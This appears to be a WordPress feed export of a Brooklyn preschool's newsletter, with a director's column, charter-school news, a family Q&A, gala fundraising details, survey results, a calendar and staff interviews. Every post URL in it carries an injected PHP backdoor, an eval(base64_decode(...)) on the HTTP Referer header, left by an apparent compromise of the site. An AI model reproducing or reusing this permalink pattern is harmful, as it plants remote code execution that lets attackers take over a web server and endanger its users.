The Maple Street School http://www.maplestreetschool.org 21 Lincoln Rd, Brooklyn NY 11225 >> 718.282.4345 >> mss@maplestreetschool.org Mon, 08 Feb 2010 12:40:14 +0000 http://wordpress.org/?v=2.7.1 en hourly 1 Wendy’s Words by MSS Director Wendy Cole http://www.maplestreetschool.org/2009/01/23/wendy%e2%80%99s-words-by-mss-director-wendy-cole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2009/01/23/wendy%e2%80%99s-words-by-mss-director-wendy-cole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 23 Jan 2009 17:13:59 +0000 admin3 http://www.maplestreetschool.org/?p=249 Knowing Maple Street by Heart
“I suppose that moment had been gaining on us secretly, like a new piece of music played while you sleep. One day you hear it - strange song yet one you
know by heart.” Leif Enger, Peace Like A River Maple Street is always creating original finger paintings, marker drawings, stories, dances, policies, committees, fundraisers and newsletters. Each one of these is new
and from scratch, though each feels familiar in a distinct and beautiful way.
At the last open house in the 4’s room, Rachel Stack, a board chairwoman and Jo-Jo’s mom, and I opened one of these originals. Beneath about a dozen old wooden cigar boxes, we discovered a green mini-art installation. 3’s and 4’s Rocks teacher Vernessa Felix kindly explained to a group of fifty-plus prospective parents that in these boxes were bird sanctuaries. I thought to
myself, of course. And I imagined magic, pretend pre-school birds flying around me.
The next day I went upstairs, and Barbara Culbreath, 3’s and 4’s Cherry Blossoms teacher, had me guess what she was making a wreath out of for the KDog and Dunebuggy Café wreath exhibit down the street. I immediately exclaimed, “a bicycle wheel.” I did know the classroom was studying wheels, and Barbara was surprised at my first guess — and even more surprised when I announced that we had an extra bicycle wheel in the after-school closet! Barbara and I then began envisioning the bicycle wheel wreath covered with discarded rainbows of marker tops and winding, poking pipe cleaners. We had never done this before, but I felt a familiar creativity.
At Maple Street this spring, the circus is coming to town, or better yet said, we are becoming the circus. I imagine some of you are thinking, of course, or, Maple Street has always been a circus. The circus idea, though, is developing through many ringmasters, and in many rings, including: Bard Goodrich, a clown parent, of Maddy in the 2s; KD’s afterschool Funk Friday greatest
show on Earth; the 3’s and 4’s Rocks’ class hip-hop trick all stars; and the Alexander Calder-like wire sculpture circus toy makers upstairs. The circus, like Maple Street, is a performance of many stars with different strengths all working together, learning new tricks, and having fun.
Additionally, this spring, the doctors, dentists, parent nutritionists, athletic trainers and other wellness-oriented family and friends are coming to Maple Street.
We are beginning a study to improve health and safety curricula at the school for accreditation and quality. It is my feeling that our curricula will turn into a fun and learning wellness circus full of drama, pretend, characters and spectacle. And for some reason, I feel like I have been to this circus already, have done these tricks and have been wowed by these performers.

Maybe it is because I have been at Maple Street for a long time (eight-plus years) that it is all so familiar. Maybe it is the family approach to education, like when you know what your sister is thinking before she utters
a word.
Maybe it is the culture of the Maple Street School, working together and building on itself. Reggio Emilia, a theory of education in northern Italy, refers to its schools as living organisms. Maybe this explains it. Or, maybe it is that Maple Street is magic. What I mean is best described many times daily when a child says something so intelligent, lovely, meaningful or funny that is completely unexpected and totally familiar at the same time.

This is the magic, the familiar yet extraordinary and heartfelt that I hope to grow and celebrate with you throughout this holiday season and into the new year.
Wishing you Maple Street Magic!

]]> http://www.maplestreetschool.org/2009/01/23/wendy%e2%80%99s-words-by-mss-director-wendy-cole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ A School Grows in Brooklyn by Jason Sherman http://www.maplestreetschool.org/2009/01/23/a-school-grows-in-brooklyn-by-jason-sherman/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2009/01/23/a-school-grows-in-brooklyn-by-jason-sherman/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 23 Jan 2009 17:13:02 +0000 admin3 http://www.maplestreetschool.org/?p=251 In September 2010, the doors of the Lefferts Gardens Charter School will swing wide, bringing children in the neighborhood — and the entire borough — a new elementary and middle school focusing on environmental sciences in partnership with two local institutions: the Brooklyn Botanic Garden and the Prospect Park Zoo.)
At least, that’s the vision of a pair of Maple Street School parents who launched an effort this fall to make the new school — which would uses environmental science as a vehicle to teach math, science, reading, writing, social studies, art and music to ages 5 to 13 — a reality.
Renata Gomes, mom of Sophia (3s) and MSS alumnus Thomas (5), and Renee Ciccone, mom of Georgiana (4s), are spearheading the project in a bid to create a new school committed to academic excellence in the neighborhood, as well as a new option for elementary school here. “Once kids leave Maple Street, they get spread all over the place,” Renata told the Rag. “All these amazing little friendships that start get lost, and I think it is a shame. I think it is very important to have the children in the community continue to go
to school in the community. It strengthens the whole experience for them. It gives the community a core, like Maple Street does.”

The Lefferts Gardens Charter School planning team, which includes an educator who got a charter school in Chicago up and running, has secured pro bono legal assistance and is pursuing grants to support administrative efforts required to prepare an extensive proposal for the school. “Our eventual hope is to build a green school,” said Renee, who grew up in the neighborhood and attended nearby P.S. 397, which was founded in the mid-1970s around an innovative class structure and experimental teaching plan by her mother, Elaine Ciccone.

“I’m kind of repeating what my mother did,” said Renee of her desire to create a new local school for her child. Her mother, a veteran educator and school administrator with 40 years’ experience with the Board of Education, is lending the project her expertise and experience. Charter schools are taxpayer-financed institutions that operate independently according to the terms spelled out in a five-year performance contract, or “charter,” authored by the school’s founders — which can be parents, educators, community leaders and not-for-profit organizations –) and granted by the Board of Eduction after a rigorous review.

Since granting its first charter in 1999, New York City now has 78 charter schools serving 18,000 students; 18 new charter schools opened this fall, and the city plans to add at least another 30 over the next “three to five years,” according to the New York City Charter School Center. Once open, a charter school is overseen by a not-for- profit board of trustees. The school’s administrators and teachers are exempt from many state and local regulations regarding curriculum development, personnel hiring and financial management. In exchange for this autonomy, these schools must meet academic progress goals specified in their performance contract or risk revocation of their charter. During its inaugural year, the Lefferts Garden Charter School would have 100 seats divided evenly between kindergarten and first graders, adding 50 new students and a new grade each year thereafter until the school has 450 students, grades kindergarten through eight. This project has won early backing from key leaders in the community. “I strongly support this dynamic educational institution,” State Senator Eric Adams, a Brooklyn Democrat who represents the 20th district, wrote in an Oct. 8 letter to the New York Center for Charter School Excellence, which administers grants to support new school start-up efforts.

“One of the greatest challenges of the 21st century is an environmental one,” Adams wrote. “Mentors who promote critical thinking and the scientific method of inquiry help develop individuals who are capable citizens of the globe. Educators who emphasize environmental science as a focus of their school curriculum inculcate a love of science and provide an opportunity for their students to be in the vanguard of a movement to change the way we interact with our planet.”
Marilyn Smith, director of children’s education at the Brooklyn Botanic Garden, wrote in an Oct. 7 letter of recommendation for the grant: “A small elementary and middle school that uses environment as an integrating context for field-based learning in all disciplines is much needed in the community of central Brooklyn … The location of several world-class environmental institutions in the immediate neighborhood provides a unique opportunity for learning that extends beyond the classroom.” And Wendy Cole, Maple Street School director, also weighed in in a Sept. 13 letter, noting that for 31 years our pre-school has served children in the neighborhood “and we recognize an immediate need for more high quality schools that will benefit our children and families.” In the coming months, the Lefferts Gardens Charter School planning team — which is seeking support from other parents and neighbors — expects to be busy, writing grants, establishing a not-for-profit structure for the fledgling administrative operation necessary for the enterprise, as well as fleshing out its 500-page charter proposal as well as beginning the hunt for a principal, said Renee.

]]> http://www.maplestreetschool.org/2009/01/23/a-school-grows-in-brooklyn-by-jason-sherman/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Q&A With the Boyle/Brown Family http://www.maplestreetschool.org/2009/01/23/qa-with-the-boylebrown-family/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2009/01/23/qa-with-the-boylebrown-family/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 23 Jan 2009 17:12:21 +0000 admin3 http://www.maplestreetschool.org/?p=256 Each edition of The Rag, we’ll sit down with a new Maple Street School family. In December, our news team posed some hard-hitting questions to Susan Boyle and Benton Brown, whose daughter Nora is downstairs in the Rocks class. Here are their answers:

*** BENTON ***

Born and raised: Nashville, Tennessee

Current neighborhood: Crown Heights

Neighborhood before that: Clinton Hill (kind of- it was down by the Navy Yard- off of Flushing Ave.)

Maple street committee assignment: Gala

Occupation: We have developed two properties in Crown Heights using sustainable design and practices which we own and operate.

First job: Stock boy at a Lumber Yard

How and where you met: I concur with Susan’s account of our first encounter….10 years ago.

Secretly (or famously) aspire to: Learn to play the banjo

Secretly (or famously) afraid of: dog attack

Three things that are always in your fridge: Parmesan cheese rinds, 1 drawer of old produce, horseradish

Your favorite childhood meal: Capt. D’s fried fish and hushpuppies

The most beautiful drive you’ve ever taken: Alaskan Highway

Last book you read: Robbing the Bees by Holley Bishop

Astrological sign: Libra

*** SUSAN ***

Born and raised: New York, New York

Current neighborhood: Crown Heights

Neighborhood before that: Clinton Hill (kind of- it was down by the Navy Yard- off of Flushing Ave.)

Maple street committee assignment: Gala ( we hope to print the invites on our letter press)

Occupation: same as Benton

First job: Worked as a swimming instructor - that summer I had the best tan I’ve ever had.

How and where you met: At a roof-top party by the Brooklyn Navy Yard (friends kind of set us up)

Secretly (or famously) aspire to: Knit our Christmas stockings in time for Christmas, but first actually learn how to knit

Secretly (or famously) afraid of: spelling

Three things that are always in your fridge: Eggs, a few slightly rancid vegetables in the bottom drawer and hopefully a juice box.

Your favorite childhood meal: chicken and Campbells cream of mushroom soup with green peas in a pastry cup.

Most beautiful drive you’ve ever taken: The southwest coast of Mexico

Last book you read: The Omnivore’s Dilemma by Michael Pollan

Astrological sign: Leo

]]> http://www.maplestreetschool.org/2009/01/23/qa-with-the-boylebrown-family/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Gallivanting: O’Neill Aims to Produce the ‘Fun’ in Fundraising http://www.maplestreetschool.org/2008/01/04/gallivanting-oneill-aims-to-produce-the-fun-in-fundraising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2008/01/04/gallivanting-oneill-aims-to-produce-the-fun-in-fundraising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 04 Jan 2008 17:09:45 +0000 admin http://blog.maplestreetschool.org/?p=44 Be imaginative. Think creatively. That is the sort of edifying guidance that Siobhan O’Neill is employing — both in rhetoric and in action — to mobilize Maple Street School parents and alumni to accomplish one of the most important missions of the school year — producing the annual gala.

O’Neill, mom of Raphael Alder-O’Neill (3s) and this year’s gala chairwoman, is spearheading the effort to raise $50,000 — a sum nearly 20 percent higher than last year’s fundraiser — at the June 6 event at the Prospect Park Picnic House.

Revenue generated by the gala goes directly toward covering basic operating costs, making up a portion of the difference between tuition receipts and the roughly $800,000 required run the school this year.

Once again, each family is required — as part of a commitment to the coop — to actively support the occasion by: selling tickets; producing something to be auctioned; finding someone to sponsor a page of advertising; as well as performing some role in connection with the gala, such as warehousing donated auction items until the fancy affair or helping decorate before the party.

While the big event is more than five months away, O’Neill and the 16 gala committee members have set important fundraising deadlines that will arrive early and often in the new year.

On Feb. 29, an advertisement — worth at least $50 — in either the gala business directory or the gala yearbook is due. On March 28, all auction items (which must be worth at least $75) are due. By April 16, ticket sales — at least two $50 family tickets and two $65 guest tickets — must be in hand.

These staggered deadlines are designed to make fulfilling the gala coop responsibilities less onerous, O’Neill said, and to give families — as well as the Gala Committee — a focus for each month.

“My goal is to make things as stress-free as possible,” she told the Rag.

To that end, the Gala Committee this year will entertain alternative proposals for supporting the event, she said.

“I want to play to people’s best strengths,” she said. “I’m willing to be somewhat flexible about what people are required to do. If they bring goods and services to the table that are worth a lot to the event, we will definitely take their contribution into consideration.”

In addition to thinking creatively about how to contribute to the gala, O’Neill also hopes parents will consider innovative items for the auction.

“Donate a back-yard barbeque or auction your driveway for two weeks,” she said, suggesting that other contenders could be “fun things that aren’t high-ticket items but that are worth a lot to your day-to-day life.”

Should any family desire to not perform any of these activities, O’Neill is putting in place three other options: a $950 buyout that buys four tickets to the event and exemption from other gala duties; procuring a sponsorship worth at least $1,250 will buy the same, two extra guest tickets and a full-page ad in the yearbook or directory; and procurement of two full-page ads — worth $500 — excuses a family from either the auction requirement or the guest ticket requirement.

“There is no reason any family should spend more than $100 to support the gala,” she said, alluding to the fact that some families, rather than sell tickets or find an ad sponsor, have simply paid out of pocket to cover their household’s responsibility — a practice this year that will cost $355. To that end, O’Neill is working with the Alumni Committee as well as charging her Gala Committee colleagues with the job of supplying leads to anyone having trouble fulfilling their duties.

O’Neill, a formally trained actor turned agent who booked Broadway acts around the country for eight years, has no formal fundraising background. Applying her experience on the stage and in sales, she prepared for her current role through intense study.

“I spent all fall doing research on development from previous galas,” she said. “I interviewed everyone I could locate, including every [past] gala chair who still lives in the neighborhood. I took their files, I begged for documents, I asked a lot of questions. I read all the journals of the last 10 years and I read every page.”

Her ebullience and commitment to organizing the gala — a task equal to a full-time job, she says — stem from a desire to step into a position she’s secretly always aspired to.

“I’ve always wanted to be a producer, and I’m scared to death to say, ‘I want to be a producer,’” she said.

On Jan. 28, at the all-hands general meeting, O’Neill plans to roll out the gala game plan and issue each family a gala packet.

– Jason Sherman

]]> http://www.maplestreetschool.org/2008/01/04/gallivanting-oneill-aims-to-produce-the-fun-in-fundraising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Who We Are http://www.maplestreetschool.org/2008/01/04/who-we-are/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2008/01/04/who-we-are/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 04 Jan 2008 16:34:35 +0000 admin http://blog.maplestreetschool.org/?p=41 WHO WE ARE
At the beginning of the school year, Maple Street School families filled out a demographics survey covering such wide-ranging topics as where we live to how much we earn.
The results of those surveys gives us all a look into who we are as a school and as a community. A total of 58 families responded.
MAPLE STREET IN OUR LIVES
 The numbers are fairly evenly divided among the variety of schedules available for our children at Maple Street School. The largest number (22.41%) attend school five full days a week, while the smallest (5.17%) attend mornings only five days a week. More than half of us (55.17%) said the school is our primary childcare, and of those who said it is not, almost 30% identified a babysitter, followed by a parent (5.17%), as their primary childcare. About one-fourth of us have had another child attend Maple Street School in the past.
FAMILY LIFE
The families at Maple Street School largely identify themselves as (63.79%) white, followed by other/multi-racial (24.14%) and African-American (10.34%). Almost one-third of us speak another language at home, including Dutch, French, German, Japanese, Mandarin, Polish, Portuguese, Pulaar, Spanish and sign language.
Almost half (48.28%) of us are families of four, followed by three (27.59%) and five (12.07%). No one listed a family of six or more.
More than 40% of us have an annual household income of more than $125,000, followed by almost 19% earning $65,000 to $80,000 and slightly more than 10%earning $80,000 to $95,000. Less than 2% of us earn less than $35,000.
The largest number (27.59%) of families live in Prospect Lefferts Garden, followed by other (12.07%), Prospect Heights (8.62%) and Fort Greene/Clinton Hill (6.9%).
OUTSIDE THE HOME
Meanwhile, we have almost even numbers of parents who identify themselves as professionals (48.28%) and self-employed (44.83%), followed by academics and artists, both categories of which comprise around 20%. Half of us have college degrees, and half also have post-graduate degrees. 12 percent have high school diplomas.
The full report in downloadable Excel: Maple Street School Demographics Survey 2007-2008

– Stephanie Sherman

]]> http://www.maplestreetschool.org/2008/01/04/who-we-are/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 2008 Calendar http://www.maplestreetschool.org/2008/01/04/2008-calendar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2008/01/04/2008-calendar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 04 Jan 2008 15:57:02 +0000 admin http://blog.maplestreetschool.org/?p=40 JANUARY

Wednesday, Jan. 9 - Board Meeting

Monday, Jan. 21 - School Closed for MLK Day

Monday, Jan. 28 - General Meeting, Mandatory Attendance

FEBRUARY

Friday, Feb. 1 - One-Fifth of Full Semester Tuition Due (March)

Wednesday, Feb. 13 - Board Meeting

Monday, Feb. 18-22 - Midwinter Recess

Thursday, Feb. 28 - Last day for MSS students to register

MARCH

Saturday, March 1 - One-Fifth of Full Semester Tuition Due (April)

March 7-May 31 - Summer Camp Enrollment Period

Thursday, March 6 - School Closed/Staff Development Day

Wednesday, March 12 - Board Meeting

Monday, March 17 - General Meeting/Mandatory Attendance

Friday, March 21 - School Closed for Good Friday

Thursday, March 27 - School Closed for Parent Teacher Conferences

APRIL

Tuesday, April 1 - One-Fifth of Full Semester Tuition Due (May, less a portion of the registration deposit)

Wednesday, April 9 - Board Meeting

Friday, April 18 - Week of the Young Child Teacher Appreciation Breakfast

Tuesday, April 15 - Registration Deposit Due for the 2008-2009 School Year

Monday, April 21- Spring Recess

MAY

Thursday, May 1 - One-Fifth of Full Semester Tuition Due (May, less the registration deposit)

Wednesday, May 14 - Board Meeting

Monday, May 26 - School Closed for Memorial Day

JUNE

Thursday, June 5 - School Closed for Family Picnic Day

Wednesday, June 11 - Board Meeting

Thursday, June 19 - Last Day of School

Friday, June 20 - Graduation/Celebration

]]> http://www.maplestreetschool.org/2008/01/04/2008-calendar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Interview with Jacqueline Reid http://www.maplestreetschool.org/2007/06/07/interview-with-jacqueline-reid/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2007/06/07/interview-with-jacqueline-reid/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 Jun 2007 02:31:45 +0000 admin http://blog.maplestreetschool.org/?p=39 Francesca: Jackie, I’m remembering a funny conversation we had this summer as I was picking Diego up from camp. I was marveling at how you could spend the whole day with our kids in a pale blue linen skirt suit and delicate necklace and still look elegant with all wardrobe pieces intact! You laughed at the utter mystery of it and confessed that you had gone to see your doctor in Manhattan earlier that morning, otherwise you would be looking just as radiantly scruffy as me. Culturally, I was also raised to look my best when meeting with the doctor and certainly, post-children, a trip to “the city” for any reason could very well be considered an outing and cause for a lovely linen ensemble. However, the surprise came as you went on to say that you had not intentionally filled your closet with dark jeans and impossible-to-stain, wrinkle-free blouses as you had never planned on becoming an early childhood educator. When you arrived here from Trinidad when you were nearly twenty, you found that the positions most available to you were either as a nurse or a receptionist. So, how did we get so lucky that you made a choice to oppose the status quo and join the staff at the Maple Street School?

Jackie: It really wasn’t intentional. I couldn’t have dreamt this up in a hundred years. Teaching found me, I guess, because I became a parent and the choices you make thereafter are colored by the fact that you have another priority besides yourself. It was my stepmother who told me about the school which had previously been housed in the basement of Grace Reformed Church where she was a member. Though the school had moved on to Nostrand Ave., Minister Michael and Deborah Otte mentioned it to her as an option for my first child, Janelle, who was about three years old. The school was quite small then and a good fit for her. Due to the size, however, there was a constant push to increase the enrollment in order to keep the teachers on payroll. By January a few new students would be ready to begin and the need for more teachers to compensate for the new teacher-child ratio would arise. By the time Janelle graduated on to Kindergarten in 1987, a position opened up at MSS for a teacher to come in for a couple of hours in the afternoon. I volunteered for the job.

Francesca: So as a parent, you developed a connection to the school which you kept even though Janelle was old enough to move on. Has that through line continued to crossover throughout the years between parenting and teaching?

Jackie: Definitely, because my maternal instincts are present with me every day. In many ways I look out for the children in the same ways they are cared for at home. I remind them to put their coats, hats and mittens away and to wash their hands. I nudge them to eat a little more of that yummy lunch mom or dad prepared, to hold hands while crossing the street to the playground, etc. This brings me to how my teaching skills have come in handy at home. Teaching a large group of young people has taught me the importance of being very clear and gently remindful about rules. When one of my sons was much younger he liked walking three or four steps ahead of me. I told him this was okay as long as he didn’t walk too far or try to run. If he did, I would have to take the privilege away and he would have to hold my hand the rest of the way. He promised, but he was unable to follow my wishes at the time and spent the rest of the walk home holding my hand, trying to convince me, with tears in his eyes, that he wouldn’t do it again. What I learned from this incident early on is that young children’s words don’t always match their actions. Loving reminders and an adherence to rules and consequences serve as a valuable guide, but children have their own ideas.

Francesca: How do you do it year after year, Jackie? I walk in at pickup time and see on the posted note that you’ve only had about three or four nappers and the kids are still bursting with energy, milling around the room in their own little worlds, making plans with little intention of leaving the party…. I remember one afternoon you told me you had switched up the daily schedule and took them outside to play right after morning circle. You noticed immediately that the group was like a pot of popping popcorn and when that happens you can’t keep the lid on too long, you have to open it up and let them go. So, are you just an incredibly patient person or do you go meditate in the teachers lounge on your lunch break?

Jackie: It’s not patience, exactly, but rather a great deal of understanding of where they are developmentally. I enjoy hearing them laugh and observing how they play, learning about their different stories and personalities and giving them the tools to take them from one stage to the next. It’s the unexpected that keeps me coming back for more; the nuances that each child brings to the classroom. You just don’t ever know for sure what’s going to work sometimes, but then you try an activity and they surprise you with how well they comprehend the idea. For example, we had this wonderful time with teaching riddles. Each of the teachers read a simple riddle and then gave the kids the opportunity to create their own and post them on the wall. Well, we didn’t know if they were going to get it, but what they came back with was so intelligent and funny and sweet. For example, “What has four legs, white, soft fur and lives in the Arctic? A polar bear.” Also, “She has long hair and I love her very, very much- it’s my mommy!”

Francesca: Yeah, I noticed Diego’s never made it to the wall. I can just imagine the highly intelligent, funny and sweet potty talk he included in his riddle! Seriously, though, I love my kids to pieces, but they can drive me bananas with all their wayward thoughts. I mean, c’mon, can’t they just walk the line sometimes?! Parenthood is such a field of happy madness that blossoms anew every morning starting from about 6:30am.

Jackie: Oh, we have our hot spots too. They mostly arise during transition from one activity to the next particularly when getting dressed to go outdoors. While several kids can get ready on their own, there are many who need constant reminders and redirection and still some who just can’t find their scarves or hats or mittens. I just breathe and count to ten.

Francesca: Well, it’s working for you. You have an almost Zen-like sense of peace and quiet elegance that you carry with you at all times, regardless of the storm brewing around you and even when you’re not on your way to the doctor! I’m sure our kids respond to that.
Jackie: I think one of my strengths as a teacher is helping the kids feel safe in my care both physically and emotionally. It allows me to take them from feeling anxious or frustrated to happy and confident. I’m also very tuned in to how each one of them uses language and this comes, in part, from just observing them at play.

Francesca: So, you learn a lot about how to teach them by just watching. I think I’m learning how to be a better parent by watching you, Jackie. Many, many thanks.

]]> http://www.maplestreetschool.org/2007/06/07/interview-with-jacqueline-reid/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Interview with Cecile Kidd http://www.maplestreetschool.org/2007/06/07/interview-with-cecile-kidd/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2007/06/07/interview-with-cecile-kidd/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 Jun 2007 02:30:28 +0000 admin http://blog.maplestreetschool.org/?p=38 Francesca: Cecile, Keeper of the Gate (and my sanity as I walk through that gate), I can’t remember a time when our family was not welcomed by your smiling face upon entering the Maple Street School. Many a morning has been spent lingering by your desk as you have helped coax my boys out from behind me and into their classroom. When did you officially take on the position as administrative assistant and what (thank goodness) possessed you?

Cecile: I started working here in August of 2002. I was recommended for the position by alumnae parents, June Edelstein and Allison Pennell. It has been a great experience. I worked as a childcare provider for a number of years and loved every minute of it. So, the decision to work here was quite easy. I knew I would still be able to experience children’s laughter and see their creativity and development.

Francesca: Sure, that’s the up side of having an invisible office! You get to see it all, but more importantly, you’re not some faceless name pushing papers across a desk. Seriously, Cecile, Diego asked me one day if you were the boss of the whole school and I know it’s because he sees you right there spoking the hub. As a mama, having to multitask without ever any privacy or quiet can sometimes be maddening for me, but you seem to handle it with such grace. In fact, you go above and beyond the call of duty on a regular basis. Can you share with us some of your off the resume responsibilities at MSS?

Cecile: Well, there have been times I’ve bought lunches for kids whose parents forgot or didn’t have the time to make them. I’ve run down to the corner to bring kids to their parents when they were unable to find parking so that they wouldn’t get a ticket. I have rocked children in my arms to comfort them when they have separation anxiety. I have also held the hands of their parents, reassuring them that shortly after they leave the crying stops and everything turns out o.k. I have helped out on days when we were short staffed in the classroom and even just to assist in walking the kids to and from the park. What I love most about the Maple Street School is that we support each other and not just the students and their parents. We share a camaraderie as a staff that has gotten me out of bed early to run into Manhattan before work to pick up muffins, bagels and a really good coffeecake (Wendy’s favorite) to celebrate her birthday. And one way or another, we do that for all of us working here together.

Francesca: No doubt that strength from within has created the magnetic force that continues to keep us old families returning to the fold. It was evident to me upon my first visit in 2002 and it won me over immediately. The search stopped here. With Kamari as an alum, Diego almost a graduate and Tristan enrolled in the Fall, it’s fair to say that everyone working here has had a hand in shaping my kids.
Cecile: There is definitely a standard upheld by this staff that has kept the school so inviting to new parents. I am happy to be a part of such a nurturing environment. There are times when I baby sit kids that have moved on from Maple Street that I can see how the foundation here has helped form them into great little people. It makes me really proud.

Francesca: So we love this school- agreed. But, nothing in life is perfect so, if a genie granted you one wish that would make MSS better, what would you wish for?

Cecile: My wish is actually coming true and that is to have a computer/tech center that really works. We already received a copy machine that works beautifully (Hallelujah!). Next will be a new computer and a printer that Wendy is fervently working on.

Francesca: Well, Cecile, my friend, I couldn’t imagine this place without you but out of curiosity, if you hit Lotto and had the financial flexibility to embark on any other career besides this illustrious one, what would you be doing?

Cecile: I would travel, travel, travel all over the world and go shopping. After I settle down I would love to open a workshop center for kids, doing creative, fun projects and mini parties.

Francesca: Be careful what you wish for. It wouldn’t surprise me if after this interview goes public there are a few messages on your machine requesting your party-planning expertise! Thanks for everything, Cecile.

]]> http://www.maplestreetschool.org/2007/06/07/interview-with-cecile-kidd/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Interview with Barbara Culbreath http://www.maplestreetschool.org/2007/06/07/interview-with-barbara-culbreath/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.maplestreetschool.org/2007/06/07/interview-with-barbara-culbreath/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 Jun 2007 02:22:03 +0000 admin http://blog.maplestreetschool.org/?p=37 Francesca: There is a phrase in French that always comes to mind when I see you: elle est a l’aise dans son peau. It means, literally, that she is comfortable in her skin. It’s not a phrase used with people who are still struggling with who they are and what they are doing. Last year, when you were Diego’s teacher, I sensed that you had a deep, inner confidence that allowed you to begin each day with a class full of three year olds and never speak above a hushed tone. Drop-off time held within its breaking hours a particular kind of electricity that existed because the kids had awoken from an average of ten hours of sleep, were completely refueled and a bit anxious. On top of this, his class was bursting with boys. Entering the main floor of MSS at around 9:00 AM, sometimes felt like I was on location with the Speed Channel. I often felt compelled to wrangle kids (read: my son) with some inane project to do like setting out the rug circles as if this were a task that could weaken the power of the turbosupercharged engines they had obviously been equipped with at birth. You, by contrast, could glide in with your flowing skirt and serene smile and absolutely no desire to tranquilize the human racecars. Instead, you would throw back your head and laugh, assuring me that if they got that energy out first thing in the morning they would be ready to settle down by circle time. And then, drum in hand, you would enrapture them with one of your stories. I greatly admire your self-possession. Did it lead you to this career in early childhood education?

Barbara: I never, ever thought of becoming a teacher and was surprised when I realized that I actually enjoyed working with children. When my second child, Kamaria, was attending MSS, I really needed to work, but I didn’t want to leave my kids. When Barbara Solomon, a teacher here at the time, asked me if I wanted to work in the afternoons, I was happy to say, “Yes.” Teaching here allows me to have a working life where I can still be a full-time mom.

Francesca: Okay, but now your three MSS graduates are grown: Jason is 25, Kamaria actually taught here and just gave birth to your first grandchild and Amandla is a rock star at 17, so what’s kept you here some 19 years later?

Barbara: Honestly, I don’t mind getting up in the morning to come to work here. I feel that I am doing a job that in some small way contributes to society. I get the opportunity to be a child’s first teacher and give them a positive experience with school. But personally, and this surprised me at first, I get really attached to these little people. I realized that when I had to say goodbye to my first graduating class. I had never felt that way at any of my other jobs. I knew back then that I had found my calling.

Francesca: I would agree. And I would go on to say that you have a particular finesse with boys. This book I love, Raising Cain Protecting the Emotional Life of Boys, suggests that a child’s pattern of learning is already established by third grade and that it is greatly influenced by their experiences and the attitudes of their teachers. The early years of education are so profoundly shaping that if negative, a child may never refind the motivation to become a successful learner. Negative to a boy might simply mean constantly being restrained from running, throwing, jumping or vividly expressing emotions of fear, anger or sadness. This can turn them off to school because we know that on average, young boys are more physically active for longer periods of time and because their verbal abilities mature later than girls. I’ve seen you negotiate a balance with the entire class that safely and respectfully allows for higher levels of activity and lower levels of impulse control. I’ve seen this with your emphasis on dramatic play, regular walking trips and outdoor recess, hands-on activities like the sand table, blocks and play clay and the way you model and teach emotional literacy. You’ve actually given me a wealth of strategies that enable me to not harness my son’s energy, but rather, guide my little superhero to use his powers for good.

Barbara: Well, by the same token, my learned skills as a teacher have shown me, in many ways, how to be a better parent. I often told you that Diego reminded me of my son, Jason, and that as he moved on into a large public elementary school, many teachers just didn’t get him. They didn’t understand why he couldn’t keep still and what worked for us was maintaining regular communication with his teachers. Being aware of the curriculum and how it was being used within the realm of the classroom structure, painted a clearer picture for me of my child’s educational experience.

Francesca: You can make wise choices if you’re involved. But what if your schedule doesn’t allow it? Do you just hurl your kid at the Board of Ed., pray that it will take into consideration the individual nuances of your child’s learning style and that at 21 your young adult will end up with a degree that vaguely reflects his talents and/or marketability in the work force?

Barbara: I think it’s a combination of instinct, common sense and trial and error. I am the parent that my grandmother was. I’ve used that home-grown wisdom with my own family and I’ve brought some of it to the classroom. The secrets to success when teaching young children and raising them at home are that you have to have a lot of patience, you must take the time to observe what makes each one tick and you must really love them.

Francesca: Thank you for the time you’ve taken to share your many years of insight and the careful moments you’ve spent listening to and guiding our children. Wrap this up for me, Barbara, and tie it with a bow. What are your best assets as a teacher- what makes you shine?

Barbara: Sometimes this type of question is better answered by someone else. I often wonder what other people see in me. I have heard that I am a very patient person. I am affectionate. I would like to think that I allow children to be who they are and help them learn to express that in a positive way. I think I am very funny and if nothing else, I can tell a good story.

